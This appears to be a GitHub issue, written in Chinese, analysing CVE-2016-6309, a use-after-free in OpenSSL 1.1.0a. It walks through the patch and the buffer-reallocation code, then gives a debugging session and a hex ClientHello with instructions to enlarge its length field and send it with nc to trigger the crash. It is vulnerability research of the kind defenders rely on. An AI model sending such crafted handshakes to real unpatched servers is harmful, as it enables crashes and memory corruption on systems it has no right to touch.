Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

openssl 1.1.0a UAF(CVE-2016-6309)分析 #35

Open
xinali opened this issue Feb 20, 2019 · 0 comments
Open

openssl 1.1.0a UAF(CVE-2016-6309)分析 #35

xinali opened this issue Feb 20, 2019 · 0 comments

Comments

@xinali
Copy link
Owner

xinali commented Feb 20, 2019

openssl 1.1.0a UAF(CVE-2016-6309)分析

在研究honggfuzz的过程中,发现有人用它找到了openssl的一个洞(CVE-2016-6309),这是一个UAF的洞,为了了解如何fuzzing的,如果要是我写fuzzer,该怎么写,为了这个目的,所以就分析了一下。

环境

环境准备

# kaili2
apt install gcc gdb python3.7-dev git make electric-fence -y

# pwndbg
git clone https://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh

编译openssl

wget https://github.com/openssl/openssl/archive/OpenSSL_1_1_0a.tar.gz
tar -xvf OpenSSL_1_1_0a.tar.gz
cd openssl-OpenSSL_1_1_0a
./config --debug
make

将编译的库存放

cp ./libssl.so.1.1 /usr/local/lib
cp ./libcrypto.so.1.1 /usr/local/lib

生成证书

 ./apps/openssl req -newkey rsa:2048 -nodes -keyout rsa_private.key -x509 -days 365 -out cert.crt

补丁情况

首先为了了解这个洞的大概情况,来看一下openssl做的修补

1548773864089

其实最主要的地方是在BUF_MEM_grow_clean之后的这句

 s->init_msg = s->init_buf->data + msg_offset;

来看看BUF_MEM_grow_clean函数干了什么,需要更新 s->init_msg的值

size_t BUF_MEM_grow_clean(BUF_MEM *str, size_t len)
{
    char *ret;
    size_t n;

    if (str->length >= len) {   
        if (str->data != NULL)
            memset(&str->data[len], 0, str->length - len);
        str->length = len;
        return (len);
    }
    if (str->max >= len) {     
        memset(&str->data[str->length], 0, len - str->length);
        str->length = len;
        return (len);
    }
    /* This limit is sufficient to ensure (len+3)/3*4 < 2**31 */
    if (len > LIMIT_BEFORE_EXPANSION) {
        BUFerr(BUF_F_BUF_MEM_GROW_CLEAN, ERR_R_MALLOC_FAILURE);
        return 0;
    }
    n = (len + 3) / 3 * 4;
    if ((str->flags & BUF_MEM_FLAG_SECURE))
        ret = sec_alloc_realloc(str, n);
    else
        ret = OPENSSL_clear_realloc(str->data, str->max, n);  // 出错
    if (ret == NULL) {
        BUFerr(BUF_F_BUF_MEM_GROW_CLEAN, ERR_R_MALLOC_FAILURE);
        len = 0;
    } else {
        str->data = ret;
        str->max = n;
        memset(&str->data[str->length], 0, len - str->length);
        str->length = len;
    }
    return (len);
}

可以看到使用len分别和str->length/str->max做了比较,如果都不满足,会realloc对应的str->data的数据,无论哪个realloc都会执行相似的操作

 ret = OPENSSL_secure_malloc(len);
 if (str->data != NULL) {
 	if (ret != NULL)
 		memcpy(ret, str->data, str->length);
 	OPENSSL_secure_free(str->data);
 }

那么将来再用到str->data的数据时,就会造成UAF,现在知道了大概的原因,实际利用gdb进行验证

POC准备

随意点击几个https的网站,之后利用利用wireshark监控

tcp.port==443 && ssl.record.version

具体如下,注意具体长度对应的位置,以后做漏洞poc会用到

1548773337943

ctrl+shift+x将字节流数据导出,正常数据是这样的

1548773439669

首先利用正常的数据进行测试

监听端口

./apps/openssl s_server -key rsa_private.key -cert cert.crt -accept 443 –www

验证poc

nc localhost 443 < poc.raw

正常的poc.raw

16 03 01 02 00 01 00 01 FC 03 03 36 E4 09 F9 D9
3B 75 FF 3E 34 EC C7 2B 9C 3F 2E 78 B5 58 04 FE
13 DC 98 04 2A C2 95 DA FB 1E 77 20 F7 F6 AC ED
64 60 E8 CC 28 D3 BF B3 74 CA 21 40 B1 58 DB 66
5B A8 04 FC 25 42 C3 5D 7C 10 FD 16 00 22 AA AA
13 01 13 02 13 03 C0 2B C0 2F C0 2C C0 30 CC A9
CC A8 C0 13 C0 14 00 9C 00 9D 00 2F 00 35 00 0A
01 00 01 91 AA AA 00 00 00 00 00 16 00 14 00 00
11 66 6F 6E 74 73 2E 67 73 74 61 74 69 63 2E 63
6F 6D 00 17 00 00 FF 01 00 01 00 00 0A 00 0A 00
08 7A 7A 00 1D 00 17 00 18 00 0B 00 02 01 00 00
23 00 00 00 10 00 0E 00 0C 02 68 32 08 68 74 74
70 2F 31 2E 31 00 05 00 05 01 00 00 00 00 00 0D
00 14 00 12 04 03 08 04 04 01 05 03 08 05 05 01
08 06 06 01 02 01 00 12 00 00 00 33 00 2B 00 29
7A 7A 00 01 00 00 1D 00 20 78 25 48 03 BE DA 1B
55 F8 2E 97 3B 62 4C E5 7C 89 59 D2 13 0A AC 69
02 51 B3 7B 79 48 4B FC 1A 00 2D 00 02 01 01 00
2B 00 0B 0A CA CA 03 04 03 03 03 02 03 01 00 1B
00 03 02 00 02 2A 2A 00 01 00 00 15 00 C7 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00

漏洞分析

动态调试

gdb ./app/openssl
pwndbg> run s_server -key rsa_private.key -cert cert.crt -accept 443

statem.c:546设下断点,成功断下

1548819678680

来查看一下s相关的值

pwndbg> p/x s->init_buf->length 
$11 = 0x4000
pwndbg> p/x s->init_buf->max
$12 = 0x5558
pwndbg> p/x s->s3->tmp.message_size
$13 = 0x1fc
pwndbg> p s->s3->tmp.message_size
$14 = 508

经过多次调试,发现在这里s->init_buf->maxs->init_buf->length 都是固定的,而s->s3->tmp.message_size是我们可控的

根据前面对BUF_MEM_grow_clean的分析,我们只要保证s->s3->tmp.message_size大于最大值,即s->init_buf->max < s->s3->tmp.message_size 就会成功进行realloc,而在我们的测试中,s->init_buf->max==0x5558,所以作如下更改设置为0x5560

1548833519008

执行并查看

1548833726063

跟进BUF_MEM_grow_clean

1548833811010

可以发现成功执行到达realloc,为了观察将来是否利用了str->data以前的数据,释放前看一下str->data的情况

1548841319727

继续执行,崩溃

1548841480576

可以发现这里的内存是str->data中释放的,成功导致了UAF

其中通过多次调试可以发现其实其数据来源于s->init_msg,而s->init_msg中的数据又来源于s->init_buf->data

s->init_msg = s->init_buf->data + n

对比调试

利用OpenSSL_1_1_0b对比一下

wget https://github.com/openssl/openssl/archive/OpenSSL_1_1_0b.tar.gz
tar -xvf OpenSSL_1_1_0b.tar.gz
cd openssl-OpenSSL_1_1_0b
./config --debug
make

下个断点

1548858352427

继续执行,会发现没有任何的问题,因为在grow_init_buf函数中及时更新了s->init_msg的值

static int grow_init_buf(SSL *s, size_t size) {

    size_t msg_offset = (char *)s->init_msg - s->init_buf->data;

    if (!BUF_MEM_grow_clean(s->init_buf, (int)size))
        return 0;

    if (size < msg_offset)
        return 0;

    s->init_msg = s->init_buf->data + msg_offset;

    return 1;
}

至此CVE-2016-6309具体形成UAF的原因也就分析清楚了

参考

一次因漏洞修补触发的漏洞—CVE-2016-6309漏洞详细分析

openssl fix UAF

openssl

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

No branches or pull requests

1 participant